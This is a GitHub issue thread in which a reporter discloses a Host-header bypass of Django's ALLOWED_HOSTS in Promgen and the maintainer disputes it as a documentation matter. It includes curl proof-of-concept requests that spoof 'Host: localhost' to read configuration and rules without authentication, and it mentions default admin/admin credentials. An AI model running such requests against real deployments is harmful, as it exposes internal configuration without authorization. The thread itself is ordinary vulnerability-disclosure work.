promgen
                                
                                
                                
                                    promgen copied to clipboard
                            
                            
                            
                        Need more documentation around secure deployments
Title
Information Disclosure in line/promgen (CWE-200)
Description
Promgen has enabled ALLOWED_HOSTS to restrict access to ensure that the server is only accessible by localhost exclusively.
https://github.com/line/promgen/blob/90f916fa27135abab343ec3d47946924335c23c4/promgen/settings.py#L53
However, this can be easily bypassed by modifying the Host header while sending the HTTP request.
Reference: https://docs.djangoproject.com/en/2.2/ref/settings/#std:setting-ALLOWED_HOSTS
This validation only applies via get_host(); if your code accesses the Host header directly from request.META you are bypassing this security protection.
Because of this issue, we are able to bypass Host check restrictions.
Although there is login page to limit access into the management console, It is still possible to dump internal settings (urls, config, etc.) by accessing the legacy endpoint. There is no need to login to leak internal configurations and sensitive data.
$ curl -s "http://172.20.0.167:8080/api/v1/config" | grep "Exception Type"
<th>Exception Type:</th>
Exception Type: DisallowedHost at /api/v1/config
$ curl -v "http://172.20.0.167:8080/api/v1/config" -H "Host: localhost"
*   Trying 172.20.0.167...
* TCP_NODELAY set
* Connected to 172.20.0.167 (172.20.0.167) port 8080 (#0)
> GET /api/v1/config HTTP/1.1
> Host: localhost
> User-Agent: curl/7.64.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: gunicorn/19.9.0
< Date: Fri, 23 Oct 2020 05:43:41 GMT
< Connection: close
< Content-Type: application/json
< X-Frame-Options: SAMEORIGIN
< Content-Length: 2
< Vary: Cookie, Accept-Language
< Content-Language: en
<
* Closing connection 0 
[]
$ curl -v "http://172.20.0.167:8080/api/v1/rules" -H "Host: localhost"
*   Trying 172.20.0.167...
* TCP_NODELAY set
* Connected to 172.20.0.167 (172.20.0.167) port 8080 (#0)
> GET /api/v1/rules HTTP/1.1
> Host:localhost
> User-Agent: curl/7.64.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: gunicorn/19.9.0
< Date: Fri, 23 Oct 2020 05:47:25 GMT
< Connection: close
< Content-Type: application/x-yaml
< Content-Disposition: attachment; filename=promgen.rule.yml
< X-Frame-Options: SAMEORIGIN
< Content-Length: 11
< Vary: Cookie, Accept-Language
< Content-Language: en
< 
groups: []
* Closing connection 0
Some of endpoints that are accessible without any authentication are as as follows.
/metrics: server metrics/api/v1/config: read configuration/api/v1/rules: read ruleset/api/v1/urls: read list of URLs/graphproxy/v1/alerts/api/v1/labels/api/v1/labels/<label>/values: prometheus proxy; Check docs/api/v1/query_range: prometheus proxy; Check docs/api/v1/query: prometheus proxy; Check docs
Please note that there are other endpoints that were not included in this issue.
From the explanation above, it shows that the attacker is able to bypass host restrictions, read internal configurations and send arbitrary queries to prometheus endpoints. It discloses internal server IPs, URLs, configs, sends queries.
Fix
It would be better to not use ALLOWED_HOSTS. Instead of using the default feature, it would be better off to restrict access by IP addresses.
Thank you for the report. I believe this is not a security issue as much as it's a documentation issue.
For most of your api examples, that is expected behavior, since other services typically need to be able to query the Prometheus configuration for deployment purposes. Most of the authentication is used to control who can edit the values.
As for ip address restriction, I believe that would be better handled via nginx/apache or server iptables. This is similar to how you would secure any other webapp or running service.
Dear @kdfm,
Thanks for the quick response.
I assumed that this is a security issue. why I assumed it was a security issue is as follows:
- It bypasses limited access and causes possibility to access the admin login page + api endpoints.
 - If you think this is not a security issue, then why did you add this? https://github.com/line/promgen/commit/7865857c22b8f84898e3a6f30d1acda5bbd0a971#diff-06572a96a58dc510037d5efa622f9bec8519bc1beab13c9f251e97e657a9d4edR7
 - Usually server starts with 
admin/adminsuper account, and this means that anyone can bypass the IP limit and authenticate as admin by default setup, even though theALLOWED_HOSTflag is enabled. - I am assuming that this product is used internally. So in that case, there is a potential to utilize this bug when someone tries to chain with another vulnerability (i.e. Server-side Request Forgery, XSS etc.) on employees or external web services(that has connections to the internal network).
 - It feels really insecure to me if communicating API endpoints without any authentication is considered as an expected behavior. These endpoints can possibly read various data and I assumed that you've limited ALLOWED_HOST to prevent such behaviors. If I'm wrong, I guess there needs to be something to make sure that these endpoints are used by specific services. I don't think I'm missing any points here.
 
My fix suggestion is to actually create a IP check, and not relying on nginx or apache. People tend to use other web servers which will make more issues later on.
If you still think that this is a documentation issue, then please go ahead and fix documents. Thanks.
Since Promgen is a tool for managing Prometheus, it follows many of the same assumptions as the Prometheus model https://prometheus.io/docs/operating/security/
It does not make much sense to implement IP checks in Promgen, when tools like nginx/apache or even iptables are much more capable for those restrictions.